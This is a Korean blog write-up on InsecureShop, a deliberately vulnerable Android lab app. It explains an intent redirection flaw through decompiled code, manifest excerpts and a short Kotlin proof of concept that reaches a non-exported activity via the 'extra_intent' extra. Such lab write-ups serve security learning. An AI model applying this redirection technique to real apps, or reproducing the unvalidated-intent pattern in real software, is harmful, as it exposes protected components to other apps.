ABOUT ME

만나서 반갑습니다.

  • [InsecureShop] Intent Redirection (Access to Protected Components)
    Android/InsecureShop 2025. 4. 1. 22:20

    인텐트 리다이렉션 (보호된 컴포넌트에 접근)

    extra_intent를 통해 보호된 컴포넌트에 접근하는 취약점입니다.

     

    WebView2Activity

        public void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            setContentView(C0781R.layout.activity_webview);
            setSupportActionBar((Toolbar) _$_findCachedViewById(C0781R.id.toolbar));
            setTitle(getString(C0781R.string.webview));
            Intent extraIntent = (Intent) getIntent().getParcelableExtra("extra_intent");
            if (extraIntent != null) {
                startActivity(extraIntent);
                finish();
                return;
            }

    WebView2Activity가 실행될 때 extraIntent가 있으면 해당 Activity를 실행합니다.

    외부에서 이 액티비티를 호출하면서 악의적인 인텐트를 extra_intent에 실어보내면, 검증 없이 바로 실행됩니다.

     

            <activity
                android:name="com.insecureshop.PrivateActivity"
                android:exported="false"/>
            <activity android:name="com.insecureshop.SendingDataViaActionActivity"/>

    이렇게 exported가 false인 Activity를 호출할 수 있게 됩니다.

     

    val privateIntent = Intent().apply {
        setClassName("com.insecureshop", "com.insecureshop.PrivateActivity")
        putExtra("url", "https://hacker..com") 
    }
    
    val redirectIntent = Intent().apply {
        setClassName("com.insecureshop", "com.insecureshop.WebView2Activity")
        putExtra("extra_intent", privateIntent)
    }
    
    startActivity(redirectIntent)

    이런식으로 동작하는 어플리케이션을 통해 외부에서 호출하면 Intent Redirection을 통해 외부에서 호출 불가능한 액티비티를 호출할 수 있습니다.

    댓글

Designed by Tistory.